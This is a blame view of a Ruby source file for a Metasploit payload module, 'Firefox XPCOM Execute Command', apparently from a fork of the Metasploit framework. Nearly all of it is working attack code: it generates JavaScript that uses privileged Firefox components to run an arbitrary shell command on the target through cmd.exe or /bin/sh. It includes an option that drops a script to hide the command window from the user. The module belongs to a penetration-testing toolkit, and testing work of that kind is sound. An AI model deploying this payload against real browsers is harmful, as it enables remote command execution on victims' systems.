Files
metasploit-gs/modules/payloads/singles/firefox/exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

71 lines
2.2 KiB
Ruby
Raw Normal View History

2014-01-03 18:23:48 -06:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2014-01-03 18:23:48 -06:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
module MetasploitModule
CachedSize = 1019
2014-01-03 18:23:48 -06:00
include Msf::Payload::Single
include Msf::Payload::Firefox
def initialize(info = {})
super(
merge_info(
info,
'Name' => 'Firefox XPCOM Execute Command',
'Description' => %q{
This module runs a shell command on the target OS without touching the disk.
On Windows, this command will flash the command prompt momentarily.
This can be avoided by setting WSCRIPT to true, which drops a jscript
"launcher" to disk that hides the prompt.
},
'Author' => ['joev'],
'License' => BSD_LICENSE,
'Platform' => 'firefox',
'Arch' => ARCH_FIREFOX
)
)
2014-01-03 18:23:48 -06:00
register_options([
OptString.new('CMD', [true, 'The command string to execute', 'touch /tmp/a.txt']),
OptBool.new('WSCRIPT', [true, 'On Windows, drop a vbscript to hide the cmd prompt', false])
])
2014-01-03 18:23:48 -06:00
end
2022-11-04 00:33:03 +00:00
def generate(_opts = {})
2014-01-03 18:23:48 -06:00
<<-EOS
(function(){
window = this;
2014-01-04 08:48:58 -06:00
#{read_file_source if datastore['WSCRIPT']}
#{run_cmd_source if datastore['WSCRIPT']}
2014-01-05 11:24:41 -06:00
var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"]
.getService(Components.interfaces.nsIHttpProtocolHandler).userAgent;
var windows = (ua.indexOf("Windows")>-1);
var cmd = (#{JSON.unparse({ cmd: datastore['CMD'] })}).cmd;
2014-01-04 08:48:58 -06:00
if (#{datastore['WSCRIPT']} && windows) {
2014-01-05 11:24:41 -06:00
runCmd(cmd);
2014-01-04 08:48:58 -06:00
} else {
var process = Components.classes["@mozilla.org/process/util;1"]
.createInstance(Components.interfaces.nsIProcess);
var sh = Components.classes["@mozilla.org/file/local;1"]
.createInstance(Components.interfaces.nsILocalFile);
var args;
if (windows) {
sh.initWithPath("C:\\\\Windows\\\\System32\\\\cmd.exe");
args = ["/c", cmd];
2014-01-05 11:24:41 -06:00
} else {
2014-01-04 08:48:58 -06:00
sh.initWithPath("/bin/sh");
args = ["-c", cmd];
}
process.init(sh);
process.run(true, args, args.length);
}
2014-01-03 18:23:48 -06:00
})();
EOS
end
end